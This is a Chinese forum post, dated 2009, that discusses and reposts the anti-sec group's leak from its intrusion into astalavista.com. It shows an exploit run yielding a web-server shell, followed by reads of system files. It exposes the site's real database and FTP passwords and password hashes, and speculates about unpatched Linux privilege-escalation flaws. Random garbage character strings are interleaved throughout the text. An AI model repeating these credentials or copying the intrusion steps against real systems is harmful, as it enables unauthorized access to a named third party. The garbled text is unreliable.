里面两个亮点，一是远程获得apache用户权限的shell，banner是LiteSpeed，看来这玩意有0day，但是又怎么是用apache用户跑的，原来LiteSpeed这东西是和apache绑一起的，大概看了下介绍，主要功能是anti-ddos，这东西貌似还有点意思，回头玩玩。具体的看链接标记[url]http://www.litespeedtech.com/litespeed-web-server-features.html[/url]。
7 ]- u' b8 h" F+ q j# t7 R- S8 g' T. h- ^7 O; L, r
[root@front3 ~]# curl -I litespeedtech.com
% r' p: |" }, f' K* KHTTP/1.1 200 OK
]: A. a2 G& b: H6 |& BDate: Fri, 05 Jun 2009 22:54:51 GMT1 C( t7 s) p' F$ {7 Z. c Z3 v
Server: LiteSpeed
! p- X* G" s5 ^+ M
$ x* v" i" W0 `* u, Q1 K, @- K另外一个亮点就是localroot了，如果不是udev的话，那么就是RHEL5.3 x64还有一个localroot 0day -_-
$ T) Q3 ^* V$ }3 k( X' D8 U; Y/ [1 {( w: I3 C% x& Z# E) _1 c! V3 l
有人说astalavista被黑是因为Y拿milw0rm的东西赚钱，这个我觉得就是每个人的尺度问题，有人还把别人写的文章弄成自己写的，还有人把别人的程序改成自己的，多了去了。
! B4 V* G# U' }* y- b# H+ G) p2 f+ H0 R9 b+ k
6 E# G- e2 f! |
/ _ \ / _____/\__ ___/ _ \ | | / _ \ \ / /| |/ _____/\__ ___/ _ \ * r1 @/ s' r5 \
/ /_\ \ \_____ \ | | / /_\ \| | / /_\ \ Y / | |\_____ \ | | / /_\ \& Y c% o% Z8 K# n- Y$ r) @5 M
/ | \/ \ | |/ | \ |___/ | \ / | |/ \ | |/ | \' k, F& }& ~9 ~3 ], [4 b2 W
\____|__ /_______ / |____|\____|__ /_______ \____|__ /\___/ |___/_______ / |____|\____|__ /
* ~4 b9 [) S6 z/ R5 A9 X \/ \/ \/ \/ \/ \/ \/
6 {7 ]; A( g% b: k3 {8 u* A( e The Hacking & Security Community
- P8 w4 W/ t5 x: n[+] Founded in 1997 by a hacker computer enthusiast
# H0 B9 J2 ` v( Y. r& |[-] Exposed in 2009 by anti-sec group
/ D+ E# l) U4 x
& ~) F, i2 T4 ^3 Y3 {+ cFrom < <b style=”color:black;background-color:#ffff66″>http</b>://<b style=”color:black;background-color:#ffff66″>astalavista</b>.<b style=”color:black;background-color:#ffff66″>com</b>/faq>:3 X, i# m3 N; ^' M
>> 03. Who’s behind the site?
# A+ z# u) }3 L>>5 T* W' C# J" {# \0 Q4 j
>> A team of security and IT professionals, and a countless number of contributors from all over the world.
6 X" }$ r# q' _4 ^3 i [" s* F+ Y" s# J+ t6 P* _8 b) z+ J: n
>> 05. Is it true that the site is visited by script-kiddies and warez fans only?4 o Q. G8 a" i; q
>>) S; A& |/ y9 [8 W3 L
>> Absolutely not! The audience behind the site consists of home users, worldwide companies and corporations, educational and non-profit organizations, government and
2 P6 N! I y4 Xmilitary institutions.9 e! C* N2 Z# ~3 r+ }" @. l7 Y+ V
>> All of these have been visiting the site on a daily basis for the past couple of years, contributing in various ways, or requesting services and information.
& y( |% j- g; g; x% g' l! l4 z* U8 }, K6 m$ K1 E& E6 ?1 T
Why has Astalavista been targeted?9 J6 u3 V# t' y. P1 v& V
6 U: L G) Z- X4 }$ h0 OOther than the fact that they are not doing any of this for the “community” but
7 m, E1 |4 Q7 A( D$ ^4 B; v& bfor the money, they spread exploits for kids, claim to be a security community* \0 ~% @* p' J2 a" Z: U! c6 F/ S7 o
(with no real sense of security on their own servers), and they charge you $6.66( M) B9 F) B- S! l. }. t
per months to access a dead forum with a directory filled with public releases
# S, l2 L+ u2 a x i0 D% xand outdated / broken services.
, O) t2 g8 d; H- d, A- ?" u" N, _* B) {" c
We wanted to see how good that “team of security and IT professionals” really is.: C B$ c& }# O6 Y
8 B9 m7 F9 L8 Y2 l! g
Let’s begin.
& L% b1 Z; t8 a# x5 _- {$ V
0 _# b& d5 r9 _9 E2 l0 Banti-sec:~# ./g0tshell astalavista.com -p 80) _" r% X' W7 `8 l. N. _6 \
[+] Connecting to astalavista.com:80! |2 j6 }% D. I0 ~' V- V# m
[+] Grabbing banner…. U8 h* B! O+ x4 F8 Z4 Y
LiteSpeed
& I& j1 b# n$ ^( |& i[+] Injecting shellcode…
: o% O: p) I( G: u2 y# @2 X+ {4 T[-] Wait for it: t4 e1 R& @, y* ?" y/ j+ ?( @
, F$ h1 B$ P: B$ j6 R" d) i. e[~] We g0tshell
( }. e7 R! x! ~" N% euname -a: Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux2 n* F* S# A9 y' k* {9 m
ID: uid=100(apache) gid=500(apache) groups=500(apache); _2 R- j4 v/ [2 F) Z" ]4 D6 T
; \3 Q: [2 W8 i/ _5 F3 \- \' rsh-3.2$ cat /etc/passwd# ?) Q% a/ m1 ~! F- v9 @$ b
root:x:0:0:root:/root:/bin/bash
3 H, {; l- }; ]2 _- V2 A* Q8 Hbin:x:1:1:bin:/bin:/sbin/nologin
' p" B0 n! ]; B" j6 ?daemon:x:2:2:daemon:/sbin:/sbin/nologin& p2 A" l+ ~" g
adm:x:3:4:adm:/var/adm:/sbin/nologin, x# M/ S4 z/ v. q
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
6 ], x$ W- q! v6 A, nsync:x:5:0:sync:/sbin:/bin/sync
6 _& O% m/ Q3 t$ xshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown: _% @9 x+ u; v
halt:x:7:0:halt:/sbin:/sbin/halt
9 `) G! x, |' W/ R6 U$ Email:x:8:12:mail:/var/spool/mail:/sbin/nologin( Y1 G5 e: M! C& g. j0 m. B
news:x:9:13:news:/etc/news:/ e9 W( l m5 `4 g
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin4 j4 f8 A6 B, Y- I, f
operator:x:11:0 perator:/root:/sbin/nologin) Z. }" a& M; d- e2 S
games:x:12:100:games:/usr/games:/sbin/nologin/ e9 }1 i a8 g) i- i* n
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin& C, R9 W; o/ B
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin; p' x9 l4 \2 X% a) k9 C0 p3 Q2 }& M
nobody:x:99:99:Nobody:/:/sbin/nologin
8 c0 t% B3 @6 A3 @rpm:x:37:37::/var/lib/rpm:/sbin/nologin- R7 n: u' \/ L/ @7 G( M
dbus:x:81:81:System message bus:/:/sbin/nologin4 d2 t, k; u) e5 } Z
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
% k2 o2 ^9 {* Z7 J' emailnull:x:47:47::/var/spool/mqueue:/sbin/nologin0 y% P2 t& p5 _* }
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin! V1 x. p' B ^' i+ S
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin$ ?* n$ H, l7 G9 J
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin; D! q7 g- J4 q" V2 R
rpc:x:32:32 ortmapper RPC user:/:/sbin/nologin3 G! N9 D6 C; [8 i3 k" K- a5 i; q
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
. s) l7 |2 d; p, X) i) A Dnfsnobody:x:4294967294:4294967294:Anonymous NFS User:/var/lib/nfs:/sbin/nologin1 Z; m! G* R i8 _; `1 L3 V) E( T
sshd:x:74:74rivilege-separated SSH:/var/empty/sshd:/sbin/nologin
# q1 j6 W4 S5 R7 mpcap:x:77:77::/var/arpwatch:/sbin/nologin2 }1 t- K+ u' c# R
named:x:25:25:Named:/var/named:/sbin/nologin1 x4 u/ l8 I$ C) ^. n% j7 n# `
apache:x:100:500::/var/www:/bin/false, K5 J+ C! s+ T4 A6 N7 a2 R0 f
diradmin:x:101:101::/usr/local/directadmin:/bin/bash- {% @/ K+ N6 G+ x
mysql:x:102:102:MySQL server:/var/lib/mysql:/bin/bash
# U) d# L$ E) a8 h) y& i) K/ c, rwebapps:x:500:501::/var/www/html:/bin/bash
; c4 l; m3 D( \, }, W) G tmajordomo:x:103:2::/etc/virtual/majordomo:/bin/bash
/ n" n9 L/ D; `2 E1 ?: sadmin:x:501:502::/home/admin:/bin/bash
2 x7 z6 r* M4 Ljon:x:502:503::/home/jon:/bin/bash
' i0 n1 \9 A! u$ q, R! }5 o; ocom:x:503:504::/home/com:/bin/bash/ x3 ~' n% v0 g) J( i
ntp:x:38:38::/etc/ntp:/sbin/nologin
5 F& N& G1 F5 Gais:x:39:39penais Standards Based Cluster Framework:/:/sbin/nologin; U! D3 i7 x: Y; m. v/ u( Q5 O
astanet:x:504:505::/home/astanet:/bin/bash* C/ g* T3 w F2 X
avahi:x:70:70:Avahi daemon:/:/sbin/nologin
; T- D& Y) _7 Gavahi-autoipd:x:104:103:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin" h9 k# K/ |1 B2 f0 H+ U6 z4 y
+ f. N' R6 K2 `& R3 ?6 X) p; ush-3.2$ cat /etc/hosts+ x6 ]$ d- J6 D# _, x
# Do not remove the following line, or various programs8 ]/ {& t+ a; L2 s
# that require network functionality will fail.
# |* Q2 E3 ? z: N" z, ^& q127.0.0.1 localhost.localdomain localhost# F/ R9 C" }& x( ]9 I7 t
::1 localhost6.localdomain6 localhost6
2 Q8 S1 F' v7 @# D9 {80.74.154.172 asta1.astalavistaserver.com
7 m7 t% N$ }6 O' x% D! c: }% U% V: F' q B5 s
sh-3.2$ pwd
/ Q; x) Y9 M" u, p7 R/home/com/public_html p6 M; j( ?8 r5 E3 u/ O5 c
* z8 \/ g# g* q
sh-3.2$ ls -la
3 f# j2 c4 j" k' Ltotal 184605 b8 M2 J( d* q) W1 @
drwxr-xr-x 30 com apache 4096 May 28 17:06 .' u. S& g6 z8 g* ?# E
drwx–x–x 11 com com 4096 Jun 25 2008 ..
' n M) u5 k; ^drwxr-xr-x 2 com com 4096 Feb 2 19:29 admin6 [/ U: @- h, p8 B7 |+ f' t7 p
drwxrwxrwx 2 com com 18591744 Jun 4 08:04 cache
. ` Z; n2 x% ~; J* a$ S O7 A- ?drwxr-xr-x 6 com com 4096 Mar 28 21:17 cadmin
9 x8 s1 i. V0 P4 r7 X5 rdrwxrwxrwx 2 com com 4096 May 19 00:50 config
: `7 E' b: Q$ u" [drwxr-xr-x 2 com com 4096 Mar 20 11:05 core1 Q' N( H3 {+ L5 p. u3 D: E
drwxr-xr-x 18 com com 4096 Feb 2 19:29 core_modules7 I; _# y x7 I
drwxr-xr-x 4 com com 4096 Feb 2 19:29 customizing
$ F3 ~% ?9 a+ `" ]/ L, T( Y9 Edrwxr-xr-x 2 com com 4096 May 11 13:24 customizing_paulo
( _; [7 d D6 `6 ~+ vdrwxr-xr-x 6 com com 4096 Mar 30 12:28 __DELETE__) ` j3 F" I# p: G
-rw-r–r– 1 com com 8035 May 19 14:26 directory_to_mediadir.php
9 H# R+ J6 d( R V0 H0 P* J' P; ydrwxr-xr-x 2 com com 4096 Sep 9 2008 dvd
6 ~& k1 p9 A% |* e" s! Edrwxr-xr-x 3 com com 4096 Feb 2 19:29 editor0 J. @6 o6 l% f3 Y. G
-rw-r–r– 1 com com 3750 Feb 27 16:12 favicon.ico" n" F2 `$ E& `' d' T9 I5 d8 e6 z
drwxrwxrwx 2 com com 4096 Jun 4 08:00 feed
9 ~1 Y, m6 P4 U; F3 M; s1 _& j-rwxrwxrwx 1 com com 10736 May 29 12:44 .htaccess
" K* N5 f' O8 G( G-rw-r–r– 1 com com 7638 Apr 21 08:45 .htaccess.2009-04-21.bak
0 r$ r8 ?" o& k( L-rw-r–r– 1 com com 10768 May 11 11:53 .htaccess.2009-05-11.bak
$ ~& Y' ]& ^. L; G) _drwxr-xr-x 18 com com 4096 Apr 9 2008 ideapool
9 O% e& {4 \% ~/ s& r8 V, Adrwxrwxrwx 14 com com 4096 Feb 2 19:29 images
% }+ ~6 j N5 C-rw-r–r– 1 com com 97496 Jun 2 13:01 index.php% c% \; x' z& t, F% L2 `8 R3 C* m
drwxr-xr-x 6 com com 4096 Feb 2 19:29 installer$ |! {# t, ~( e$ W3 \
drwxr-xr-x 8 com com 4096 Feb 2 19:29 lang
4 y {+ {% b2 y. Wdrwxr-xr-x 22 com com 4096 Feb 2 19:29 lib
3 L4 ?- }/ j+ bdrwxrwxrwx 12 com com 4096 Jun 2 07:47 media# n, v& B2 T- z4 r
drwxr-xr-x 8 com com 4096 May 11 12:48 modifications
/ M' q4 T5 \3 b8 Q4 X" E8 _% zdrwxr-xr-x 34 com com 4096 May 28 16:30 modules6 F& Z0 j% q- s; {
drwxr-xr-x 11 com com 4096 Jan 30 15:00 _myAdmin2 p2 r0 [$ z- w- U
drwxrwxr-x 22 com com 4096 May 28 17:06 _new7 L. B9 {9 L4 D( p4 W" N
drwxr-xr-x 26 com com 4096 Feb 2 19:27 _old
- N6 T) E$ c% z6 q) S* B& Ldrwxr-xr-x 2 com com 4096 Mar 30 12:29 phproxy
8 Y9 {6 `- Z; G7 i$ ~) Adrwxr-xr-x 2 com com 4096 Mar 30 12:30 proxy$ B' d) W2 V3 ^9 U- w
-rw-r–r– 1 com com 26 Feb 2 19:33 robots.txt1 E" l0 `- A& R, S9 @1 ?/ b; u" z1 @
-rwxrwxrwx 1 com com 10844 Jun 2 09:50 sitemap.xml- o" }+ e) V2 T7 R) q5 O/ X/ p
-rw-r–r– 1 com com 223 Mar 30 15:32 test.php6 S# U( Z& }' V
drwxrwxrwx 8 com com 4096 Mar 6 13:15 themes
( r1 r# k/ r3 q5 Mdrwxrwxrwx 3 com com 4096 Jun 4 08:00 tmp" q' `: c) r+ B
drwxr-xr-x 3 com com 4096 Feb 2 19:33 webcam
) H& p- v( U V: T9 a' e, c+ x
% l, i! Q* h+ X' G+ @# y) j# msh-3.2$ head -20 index.php
) Z t' x, _, n<?php5 R' y* I Y# f( R4 M1 i8 w. Z$ L6 A/ U
/ F, ^# a: Y3 h% k4 ~6 B- k1 F/**$ d* X0 K8 K, C' c
* The main page for the CMS ~% b c6 \! i8 G/ E5 ?
* @copyright CONTREXX CMS - COMVATION AG9 |" L/ v- U+ {5 T u/ [2 c
* @author Comvation Development Team& q/ J3 W! ], R4 X7 ?3 T2 J
* @version v1.0.9.10.1 stable& }, c& d9 [. @0 l' D' B
* @package contrexx* z! s$ b2 J# Z5 y
* @subpackage core
( [% b9 S! K$ U+ h. ?* @link 链接标记[url]http://www.contrexx.com/[/url] contrexx homepage/ _& T# K# D0 }! H. g
* @since v0.0.0.0# b( q* B; _7 n( d+ X1 L
* @todo Capitalize all class names in project
N, M, d+ @. k) B6 d* @uses /config/configuration.php
) o1 j$ t0 F& P4 r# s* @uses /config/settings.php
4 M. H6 j N0 X i7 \) ?* @uses /config/version.php" l& a% l l2 |; U5 ~! o
* @uses /core/API.php
; X! Y+ u+ V# w6 X# N( g* @uses /core_modules/cache/index.class.php
9 b/ G4 f6 i( s$ r9 G% ?* @uses /core/error.class.php
; f! b0 c) ^2 u* @uses /core_modules/banner/index.class.php
$ Q. p$ a1 f6 n; P* @uses /core_modules/contact/index.class.php
: A0 B2 U% a$ B% `. b& t
( T* y/ _6 Q4 I% k6 rsh-3.2$ cd config/( ]2 W7 r2 K$ H: W3 k) C" T9 @
sh-3.2$ ls -la
- Y; `4 n7 o3 [- ptotal 32- Z9 n& q; D, Y: E
drwxrwxrwx 2 com com 4096 May 19 00:50 .
% g6 C+ E7 F, p$ @4 z& \ Odrwxr-xr-x 30 com apache 4096 May 28 17:06 ..
' U. z% r6 [ w4 A6 U-rwxrwxrwx 1 com com 2998 May 11 12:29 configuration.php
4 Y' C8 o Z! m7 x& B-rwxrwxrwx 1 com com 7610 May 28 17:27 set_constants.php! i+ T9 U& @7 {" d( X8 O. q
-rwxrwxrwx 1 com com 4186 May 25 12:54 settings.php
. V+ x/ X8 K. b6 s l-rwxrwxrwx 1 com com 672 Feb 2 19:29 version.php- W4 L; t9 x' `, }% H
& t7 k# z( u, m
sh-3.2$ cat configuration.php
$ f2 R; i: T# I% {[snip]
- a% j3 r8 x2 U' H; ~, H* U$_DBCONFIG['host'] = ‘localhost’; // This is normally set to localhost
) D! F c' G4 k8 s! [$_DBCONFIG['database'] = ‘com_contrexx2_live’; // Database name2 ^: Y6 H7 d/ y$ ~1 S8 {
$_DBCONFIG['tablePrefix'] = ‘contrexx_’; // Database table prefix0 ~0 M( I0 |) d
$_DBCONFIG['user'] = ‘contrexxuser2′; // Database username: f/ G% r4 K3 j/ T( g+ K$ ~9 y
$_DBCONFIG['password'] = ‘0fEYNZgXz1pKe’; // Database password" f% y% b* E2 D7 ]6 x) {- v. C& B2 r
$_DBCONFIG['dbType'] = ‘mysql’; // Database type (e.g. mysql,postgres ..)
: V# T( c7 e& c. x$_DBCONFIG['charset'] = ‘utf8′; // Charset (default, latin1, utf8, ..)/ X* l9 M: i% e: G) v; f/ m
[snip]
6 A: b: g7 i6 h6 ~8 z$_FTPCONFIG['is_activated'] = true; // Ftp support true or false2 p5 x: ~" C9 d- O8 q
$_FTPCONFIG['use_passive'] = true; // Use passive ftp mode+ Z. k$ O" [! C' p- z: {! Z
$_FTPCONFIG['host'] = ‘localhost’;// This is normally set to localhost; y/ y& G" S" `7 q+ t
$_FTPCONFIG['port'] = 21; // Ftp remote port( ~( S" Y( w/ T
$_FTPCONFIG['username'] = ‘链接标记dev@astalavista.com’; // Ftp login username; g, U+ {9 J$ L3 K$ c7 q7 [3 ?
$_FTPCONFIG['password'] = ‘jajklop0Iuj’; // Ftp login password6 I; j+ Y* @4 i# ~( t
$_FTPCONFIG['path'] = ‘/’; // Ftp path to cms
* p" ^( ~/ t* V3 e/ \$ y% l* v- @3 M5 m1 X' p& Z Q5 ^
sh-3.2$ cd ..: Y1 I: S i5 \
sh-3.2$ cd dvd/0 _2 {! x' M9 c! m- G% R& T1 W8 S, z$ `
sh-3.2$ ls -la
& T- `( q1 l. X2 m7 {% @3 e8 P9 L% Jtotal 2913780
1 F9 E$ Q# [3 E2 [drwxr-xr-x 2 com com 4096 Sep 9 2008 .1 Q) e* V# I. Q: C7 V
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..
G6 k- h4 ]8 w' |-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part1.rar
! n& @0 T' {! c( z' g0 Z-rw-r–r– 1 com com 1050061483 May 16 2008 astalavista_security_toolbox_dvd_2008.part2.rar8 T ?( s$ x# l L) b/ g2 R- t
-rw-r–r– 1 com com 880644069 May 16 2008 astalavista_security_toolbox_dvd_2008.part3.rar
' k2 T' T4 y# j* U9 b3 h7 o9 h-rw-r–r– 1 com com 115 Jan 29 2008 .htaccess2 u- r& p7 x' E, B# r$ m3 W
/ z+ J, X9 N( c8 j! Dsh-3.2$ cat .htaccess
' |8 Q7 t* l3 \) g4 W, mauthType Basic
/ ]! `6 G m3 h- V# ]/ s" ~' ]: tauthName DVD
& }" y' R$ @9 _# sauthUserFile /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd x( y8 `6 Q ~6 N+ x; R
require valid-user% m' r1 e/ X! ]2 V5 N
% f$ x8 L: u5 S
sh-3.2$ cat /home/com/domains/astalavista.com/.htpasswd/.htadm_pwd0 D( S$ a! b' ]; [$ C
DVDdownload:CRD8cuY6.MPT62 h. d" d% ^) x1 t: c8 ]
DVDdownload2:CR8a36.wluFMg: @: W% o. z) v+ j9 A/ `. q' t6 y: }
4 c+ o, g G, |# z' V! } csh-3.2$ cat test.php1 @% Y9 A+ e1 ?5 Y, C8 W% N
<?php9 p- ?0 ]3 z* h# K- T
$url = ‘aHR0cDovL2kubnVzZWVrLmNvbS9pbWFnZXMvdGVtcGxhdGUvMzYweDMxOC9pc3QyXzc0Njc4MV9mZW1hbGVfc3R1ZGVudC5qcGc%3D’;
+ u+ P- {4 n {& ], {3 x3 \$url = str_replace(array(’&’, ‘&’), ‘&’, base64_decode(rawurldecode($url)));# Y) j2 @8 F& `
echo $url;
# t8 Z i( d0 Y' x: u, A; ^?>- S5 Z2 l& I1 k% z! t+ \6 }3 ~9 \+ Y1 x
3 x& e9 f0 @- k5 r2 Psh-3.2$ cd modifications/ z' ~/ P0 A6 n9 ~" c
sh-3.2$ ls -la/ B% x2 j$ e: Q T
total 326 _6 h9 w1 g1 Y( v7 k! F
drwxr-xr-x 8 com com 4096 May 11 12:48 .& R+ i0 m4 W& h/ J8 N
drwxr-xr-x 30 com apache 4096 May 28 17:06 ..! C$ i8 a& V _& ^2 {4 |# F
drwxr-xr-x 3 com com 4096 Feb 2 19:33 com_avtng
P1 C/ [8 f8 fdrwxr-xr-x 3 com com 4096 May 12 09:26 cronjobs0 c! ]& B3 m" a6 q1 g9 P' }8 ~
drwxr-xr-x 2 com com 4096 Mar 2 10:35 onlinetools
) u- _4 m ]+ o1 T6 v/ J% edrwxr-xr-x 4 com com 4096 Feb 2 19:33 pjirc5 V v3 ~4 T6 u R1 d
drwxr-xr-x 2 com com 4096 Feb 2 19:33 search2 a7 X# c# C$ `$ c3 k9 _5 V- b U6 I, P
drwxr-xr-x 2 com com 4096 Mar 25 08:56 _tmp3 v* O' C& F: J! ^( ]
, f) I/ a7 `, b9 o* Ysh-3.2$ ls -R
% p& }, D$ e, F% w0 {! w0 e.:- D b. @9 [: L3 \# @* T
com_avtng cronjobs onlinetools pjirc search _tmp
1 M& N. D* f+ e1 G9 U
1 l* ^6 j+ S7 z./com_avtng:" I x5 Q7 h- \3 c) T0 l
avtng.php banner_bottom.inc.php banner_button.inc.php banner_content.inc.php banner_popunder.inc.php banner_right.inc.php banner_top.inc.php iframe.php scripts: g. ^: x2 M' ~4 F0 q/ k, o
! ]1 k; }8 F2 b) f2 m5 S& M
./com_avtng/scripts:
' o, U# Z6 w2 G* B, i& Npopunder.js$ E3 D. M; D) V8 i; y: y
" N) A, h" j9 A: N' p
./cronjobs:$ T2 M7 E2 T/ b; C% e S
exploits.php exploits.sh google_blogindexing.php ip2country.sh proxydb2.php proxydb.php securitynews.php tmp5 `; i5 x5 J) g6 q
! F- {. N( f5 \' y; T- x./cronjobs/tmp: Z3 Z- b% u9 x4 a2 n- \2 e
contrexx_module_onlinetools_defaultports.csv contrexx_module_onlinetools_geolitecity_country.csv) t% v9 ~+ m+ P& y+ Z, \
1 z8 ]- D& K, T6 k- X1 n7 D" C
./onlinetools:! B8 g- {' X" U: Z6 D
index.php
. h# A @ E4 S) c( L+ Y2 p# r3 G# I( H2 k
./pjirc:
, H) b9 Y8 D+ F" |a_big.jpg english.lng img irc.jar NormalApplet.html pixx-french.lng pjirc.cfg securedirc-unsigned.cab thanks.txt
* h* f! |/ | y2 B0 v# _5 }& r" hAppletWithJS.html french.lng IRCApplet.class irc-unsigned.jar pixx.cab pixx.jar readme.txt SimpleApplet.html versions.txt1 d1 ]% n: S+ u) {2 K
background.gif HeavyApplet.html irc.cab license.txt pixx-english.lng pixx-readme.txt securedirc.cab snd
* L. e6 p% G9 f$ A+ h
; A, D( Z' a# V3 F; B+ C./pjirc/img:' r2 x" _% U" O
ange.gif bombe.gif clin-oeuil.gif content.gif enerve2.gif garcon.gif langue.gif mecontent.gif ordi.gif portable.gif sapin.gif triste.gif
' y$ [7 m* X+ k/ \0 L1 Iarbre.gif bouche.gif clin-oeuil-langue.gif cool.gif femme.gif grognon.gif lettre.gif newbie.gif pere-noel.gif pouce-non.gif sleep.gif . A0 |+ W! i0 G) D& a
verre-eau.gif
1 [, b% C( b8 f8 ~argh.gif bouqin.gif coeur-brise.gif diable.gif fille.gif halloween.gif lit.gif OH-1.gif pleure.gif pouce-oui.gif soleil.gif
8 ?. |* R: a. H" p2 S. ]verre-vin.gif
1 e$ i$ d) n/ a; w2 j/ E4 T! {ballon.gif cadeau.gif coeur.gif dwchat.gif fleur.gif hamburger.gif love.gif OH-2.gif poisson.gif roll-eyes.gif sourire.gif yinyang.gif
# m1 A( v) z% i2 B. N& ?biere.gif chien.gif comprends-pas.gif enerve1.gif fume.gif homme.gif lune.gif OH-3.gif pomme.gif rouge.gif terre.gif1 p0 O& {! L4 R: h7 n9 u- l- W
/ k" \/ F! a1 H5 j4 H
./pjirc/snd:7 z9 w! W( D" \; u1 r
bell2.au ding.au
- X; [* U1 {' Y! E Z6 A- E6 `1 |8 Y' ~9 n- F5 M
./search:
- o9 ^6 x, ^$ h% e! }searchEngines.php search.php
" B; u! f: O% @3 \( y! g: R5 R% l# F# K4 ]7 x
./_tmp:
9 \6 t' q. A3 l! I% @) R3 gdefaultPorts.php defaultPorts.txt0 q L' a* R- r: ~
: Z% c$ U+ j+ z6 ?! ?5 Z
sh-3.2$ cd cronjobs/8 m" I6 F5 I% e- H+ _) X
sh-3.2$ cat exploits.php. ^7 u$ t" D2 \( t" j
[snip]
7 n3 X7 z/ h* d1 h: n$categories = array();
9 C7 r! y% J( k9 ]; u, K$milw0rmFile = FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/sploitlist.txt’;
- W7 p4 i. d8 T* n5 G3 E) h$expolits = file($milw0rmFile);
0 H1 C* v% p! J$comExploits = array();
" [6 t3 {7 T" `3 O4 A5 n4 o[snip]
$ s, G' p1 w3 ~ j$ Q3 A& H# T// manage data
+ K; W; Y- L* `+ z- |7 y( Kfor ($x = 0; $x < count($expolits); $x++){ // count($expolits) - 26409 N5 [0 g. p, K5 k3 J" c/ x
. r% a4 U- }) D. U. H
// get path and title, q+ T" H4 x1 g: `: x; S
$expolits[$x] = trim($expolits[$x]);
+ H% P) k$ K+ G0 w $path = str_replace(’./’, FULLPATH . ‘/modifications/cronjobs/tmp/milw0rm/’, substr($expolits[$x], 0, strpos($expolits[$x], ‘ ‘)));
6 Q# b7 U' |. h( S! ^4 b4 ?6 p $title = htmlspecialchars(substr($expolits[$x], strpos($expolits[$x], ‘ ‘) + 1, strlen($expolits[$x])), ENT_QUOTES);$ I- n8 w' Q3 u
( u" G u; b" f3 t. t // check if file exists
+ X0 O! d% C& ^4 @; Y0 q& I if (file_exists($path)) {9 @$ \1 X# L- o. Q
! i" G* K2 p8 ?* Q. m
$text = file_get_contents($path);/ f, z! E7 j/ f+ j7 D) ^
: V4 |6 y# U9 d7 L$ e/ f // get content and date+ M/ m9 S B/ P2 b
//$text = htmlspecialchars($text, ENT_QUOTES);! X# g! l, J- R
$tmptext = addslashes(htmlentities($text, ENT_QUOTES, “UTF-8″));
- S( g1 V9 F0 a* g" s) {0 L$ | if ($tmptext != ”) {4 O# ?) i6 Y; Q+ m& [
$text = $tmptext;; o4 Z% Z5 u9 F3 c1 G
} else {' O9 x! l; r; Q8 S8 o5 I
$text = addslashes(htmlentities($text, ENT_QUOTES));& ^) u. ~& b1 ?5 c1 |
}( S7 i% h$ g+ x0 Q
$date = str_replace(’milw0rm.com [', '', str_replace(']‘, ”, strstr($text, ‘milw0rm.com [')));+ Q y# d0 M O/ o- ]4 Y4 ]+ t
$tmp = explode('-', $date);/ `; \( K3 P; R$ k; E+ J
$date = mktime(0, 0, 0, trim($tmp[1]), trim($tmp[2]), trim($tmp[0]));
& a$ z& ^# z* U) F; \ $cat = getCategory ($path);0 m! _; x9 P! n# o* N
$ext = pathinfo(basename($path));: U; w( D u7 n* j
$ext = $ext['extension'];
% i" @! |' w2 ? $qStr = ”' l* Q8 W+ ~+ k7 q( h: P$ K- C- p }
SELECT `id`$ u$ @. a1 q2 |8 x7 a
FROM `contrexx_module_exploits`$ K! p' h# h+ C% I: v/ q
WHERE `title` = ‘” . $title . “‘7 x$ L6 c6 z. g. H6 c! z2 c) {8 r. T
AND `date` = ‘” . $date . “‘
# l8 E x: B1 _9 }# W( Z$ p “; f2 j4 M5 o* ^* O" ]$ R
echo $x + 1 . ‘ von ‘ . count($expolits) . ‘ -> ‘ . $qStr . “\n”;
( t( P5 @; l6 [# K( H3 \ $q = $_objDB->query($qStr);" Q" K. y/ }& m( K
5 l1 h! r6 i$ O
if ($q->numRows() == 0) {
, j: r; T/ u9 g
# _! c, g4 w' E // prepare array8 W$ J9 V! ?& y8 d# T5 x9 Z; c
$comExploits[$x]['date'] = $date;
7 c7 o$ i( z% c! c: C8 k $comExploits[$x]['title'] = $title;7 g- }4 ]) U" g
$comExploits[$x]['author'] = ‘milw0rm’;
0 K! ^: [3 c2 W" y# U4 H: a6 z3 b2 z# Q $comExploits[$x]['text'] = $text;
+ b& s! v* E9 c& @ $comExploits[$x]['source'] = $ext;
6 ~$ _" p3 s2 C5 o4 x) W $comExploits[$x]['url1'] = ”;% {7 g6 k5 q% I# n; E$ w$ B
$comExploits[$x]['url2'] = ”;7 W1 m' E5 j: h Y# _: ~% N* I
$comExploits[$x]['catid'] = $cat;
7 S& [' w+ }! k2 Y" N8 Q $comExploits[$x]['lang'] = ‘2′;
V3 `$ M( S) j; m, _, Y $comExploits[$x]['userid'] = ‘12′;8 W9 S# P# q: |# T8 t: y: U D
$comExploits[$x]['startdate'] = ‘0000-00-00′;; G6 \# v" i7 [ G% o' t# W
$comExploits[$x]['enddate'] = ‘0000-00-00′;( P: p, N; R& g# ], O( B4 m u
$comExploits[$x]['status'] = ‘1′;5 R8 l; p* K8 ~/ P. p$ E) u
$comExploits[$x]['changelog'] = $date; N; l. h6 Z2 L* }: |; K; i4 J
- }$ p, z6 ^: E( e
}/ \! T$ C2 `7 {
[snip]
_* |# X6 h, z1 i $xml = ‘<?xml version=”1.0″ encoding=”UTF-8″?>
4 P, }, f8 T7 }7 I<rss version=”2.0″>
' k" l6 Q& J( h# L+ s( S <channel>7 {! C, v7 _6 S! a0 F* Y
<title>ASTALAVISTA.com - Exploits</title>
- F: X1 W* s5 j1 J <link>http://www.astalavista.com/exploits</link>. _& U x3 |" [- y
<description>All availably Exploits.</description>
